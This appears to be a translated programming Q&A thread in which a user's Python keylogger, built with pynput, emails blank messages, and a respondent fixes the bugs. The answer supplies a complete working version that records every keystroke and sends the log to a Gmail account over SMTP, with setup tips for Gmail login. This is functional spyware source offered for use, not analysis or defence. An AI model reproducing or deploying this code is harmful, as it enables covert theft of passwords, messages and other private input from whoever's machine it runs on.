【问题标题】:Trying to log keystrokes and send them to my email but getting a blank email instead尝试记录击键并将它们发送到我的电子邮件,但收到一封空白电子邮件
【发布时间】:2021-04-23 09:43:03
【问题描述】:

这个代码应该记录我的击键并将它们发送到我的电子邮件(我现在从代码中取出)。我确实收到了电子邮件,但是它没有通过按键发送它们,每封电子邮件都是空白的。有谁知道如何解决这个问题?

import smtplib
import pynput
from pynput.keyboard import Key, Listener

email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)

full_log = ""
word = ""
email_char_limit = 10


def on_press(key):
    global word
    global full_log
    global email
    global email_char_limit

    if key == Key.space or key == Key.enter:
        word += " "
        full_log += word
        word = ""
        if len(full_log) >= email_char_limit:
            send_log()
            full_log = ""
    elif key == Key.shift or Key.shift_r:
        return
    elif key == Key.backspace:
        word = word[:-1]
    else:
        char: f"{key}"
        char = char[1:-1]
        word += char

    if key == Key.esc:
        return False


def send_log():
    server.sendmail(
        email,
        email,
        full_log
    )


with Listener(on_press=on_press) as listener:
    listener.join()

【问题讨论】:

    标签: python email keylogger


    【解决方案1】:

    我只是做了一些更改并让它工作。您的 full_log 变量存在问题。第一个elif 语句的条件部分存在错误,您的条件应为key == Key.shift or key == Key.shift_rchar: f"{key}" 出现错误。应该是char = f"{key}"。您忘记的另外两个重要声明是

    full_log += word
    word = ""
    

    这些行需要包含在末尾,以便将单词连接到full_log 变量。除此之外,现在一切正常。

    以下是您的代码的更正版本。

    import smtplib
    from email.mime.text import MIMEText
    from email.mime.multipart import MIMEMultipart
    import pynput
    from pynput.keyboard import Key, Listener
    
    full_log = ""
    word = ""
    email_char_limit = 10
    
    
    def send_log(log):
        print(log)
        
        email_user = 'from mail address here'
        email_password = 'password'
        email_send = 'to mail address here'
    
        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject
    
        body = log
        msg.attach(MIMEText(body, 'plain'))
    
        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(email_user, email_password)
    
        server.sendmail(email_user, email_send, text)
        server.quit()
    
    
    def on_press(key):
        global word
        global full_log
        global email
        global email_char_limit
    
        if key == Key.space or key == Key.enter:
            word += " "
            full_log += word
            word = ""
            if len(full_log) >= email_char_limit:
                send_log(full_log)
                full_log = ""
        elif key == Key.shift or key == Key.shift_r:
            return None
        elif key == Key.backspace:
            word = word[:-1]
        else:
            char = f"{key}"
            char = char[1:-1]
            word += char
    
        full_log += word
        word = ""
    
        if key == Key.esc:
            return False
    
        #print(full_log)
    
    
    with Listener(on_press=on_press) as listener:
        listener.join()
    

    【讨论】:

    • 如果我想打印击键,但如果我想通过电子邮件将它们发送给自己,这就是我想要做的事情
    • @CarsonKirshner 使用您之前尝试的代码我什至无法打印full_log 变量,因为您没有使用full_log += word。这就是你的邮件是空白的原因。您是否尝试将用于发送电子邮件的代码附加到 send_log 函数中?
    • 我编辑了我的答案并包含了将捕获的击键发送到 Gmail 帐户的代码。这就是我使用端口587 的原因。确保更改您的登录凭据。在这种情况下,python 会尝试登录您的 Gmail 帐户。所以你需要Turn on access to less secured apps in your Google account settings。如果您收到 SMTP 身份验证错误,请检查该线程 - stackoverflow.com/questions/26852128/…
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2014-08-30
    • 1970-01-01
    • 1970-01-01
    • 2017-12-05
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多